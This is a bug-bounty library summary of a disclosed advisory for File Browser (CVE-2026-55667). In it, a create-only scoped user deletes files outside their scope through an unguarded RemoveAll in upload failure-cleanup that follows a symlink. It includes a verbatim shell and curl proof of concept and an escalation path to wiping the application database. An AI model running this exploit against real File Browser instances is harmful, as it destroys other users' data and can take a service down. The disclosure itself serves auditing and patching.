# File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup

Create-only scoped File Browser user deletes out-of-scope files via unguarded RemoveAll in upload failure-cleanup following a symlinked ancestor, bypassing ScopedFs and Perm.Delete.

- Payout: Research
- Severity: high
- Program: File Browser
- Found by: babakizo420, lexdotdev
- Disclosed: 2026-07-20
- CVE: CVE-2026-55667
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-fmm7-x4gx-8jhr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fmm7-x4gx-8jhr
- Tags: area:web domain:web impact:dos impact:integrity kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:dos vuln:path-traversal

**Target:** HTTP resource upload handler (/api/resources) and ScopedFs filesystem wrapper
**Root cause:** ScopedFs.Remove/RemoveAll skip the guard() symlink containment check every other method enforces, and resourcePostHandler falls through to failure-cleanup RemoveAll on a path that failed NewFileInfo containment, gated only by Perm.Create.
**Steps:**
1. Set up server root `/tmp/fb-root` and out-of-scope dir `/tmp/fb-out` with `victim.txt`.
2. Init DB, set `--root /tmp/fb-root`.
3. Add non-admin user scoped to `/scope` with `--perm.create=true --perm.delete=false`.
4. Plant escaping symlink out of band: `ln -s /tmp/fb-out /tmp/fb-root/scope/link`.
5. Start server, log in via `POST /api/login` to get JWT.
6. Send `curl -X POST -H "X-Auth: $JWT" --data 'x' 'http://127.0.0.1:8080/api/resources/link/victim.txt'` — guarded write fails 403, unguarded cleanup RemoveAll follows symlink and deletes victim.txt.
**How found:** Audited the v2.63.14 ScopedFs fix for CVE-2026-54094 and noticed Remove/RemoveAll were the only methods not calling guard(); then traced resourcePostHandler and saw it does not return on NewFileInfo containment error, falling through to failure-cleanup RemoveAll on the unvalidated path.
**Exploitation:** Authenticated create-only user POSTs to a path under a pre-existing escaping directory symlink inside their scope. The guarded write fails with 403, but the handler's failure-cleanup calls unguarded RemoveAll on the raw URL path; Go's os.RemoveAll follows the symlinked ancestor and deletes the out-of-scope target. Response is 403, masking the deletion. Directory targets are recursively removed.
**Escalation:** Deleting the application database directory causes full-instance DoS (all users/shares/config gone, admin login fails); cross-tenant deletion of other scopes' data.
**Insight:** When a containment wrapper is added as a fix, enumerate every method of the wrapper and confirm each calls the guard — delete/RemoveAll are commonly forgotten. Also check error-handling fall-through: a handler that ignores a containment error and proceeds to cleanup on the raw path reopens the hole.

## Proof of concept (copied exactly from the original report)

**Shell PoC: create-only user deletes out-of-scope file via symlink**

```
# 0. Layout: server root + an out-of-scope dir holding the victim file
mkdir -p /tmp/fb-root /tmp/fb-out
echo keep > /tmp/fb-out/victim.txt

# 1. Init DB and pin the server root
filebrowser -d /tmp/fb.db config init
filebrowser -d /tmp/fb.db config set --root /tmp/fb-root

# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it
filebrowser -d /tmp/fb.db users add victim hunter2 \
  --scope=/scope \
  --perm.admin=false --perm.create=true \
  --perm.modify=false --perm.delete=false \
  --perm.rename=false --perm.share=false --perm.execute=false

# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model
#    (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.
ln -s /tmp/fb-out /tmp/fb-root/scope/link

# 4. Start the server
filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080

# 5. Log in; the JWT is returned as the raw response body
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"victim","password":"hunter2"}')

# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,
#    and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").
curl -i -X POST -H "X-Auth: $JWT" --data 'x' \
  'http://127.0.0.1:8080/api/resources/link/victim.txt'

# 7. Impact check
test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"
```

**HTTP request sequence triggering unguarded RemoveAll**

```
GET  /api/raw/link/secret.txt        -> 403 (read containment still holds — the v2.63.14 fix)
POST /api/resources/link/secret.txt  -> 403 (write blocked)
   => /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)
```

